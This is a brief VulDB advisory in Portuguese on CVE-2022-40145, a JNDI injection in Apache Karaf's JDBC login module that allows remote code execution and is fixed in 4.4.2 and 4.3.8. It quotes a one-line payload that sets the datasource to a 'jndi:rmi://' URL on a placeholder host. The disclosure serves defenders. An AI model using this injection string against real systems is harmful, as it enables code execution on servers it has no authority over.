CVE-2022-40145 in Karaf
Sumário
de VulDB • 23/05/2026
Esta vulnerabilidade diz respeito a uma possível injeção de código quando um atacante tem controle do servidor LDAP alvo usado na URL JDBC JNDI. A função `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` utiliza `InitialContext.lookup(jndiName)` sem filtragem. Um usuário pode modificar `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` para `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` em `JdbcLoginModuleTest#setup`. Isso é vulnerável a um ataque de execução remota de código (RCE) quando uma configuração usa um URI de fonte de dados JNDI LDAP e um atacante tem controle do servidor LDAP alvo. Este problema afeta todas as versões do Apache Karaf até 4.4.1 e 4.3.7. Encorajamos os usuários a atualizarem para o Apache Karaf versão 4.4.2 ou 4.3.8, no mínimo.
If you want to get best quality of vulnerability data, you may have to visit VulDB.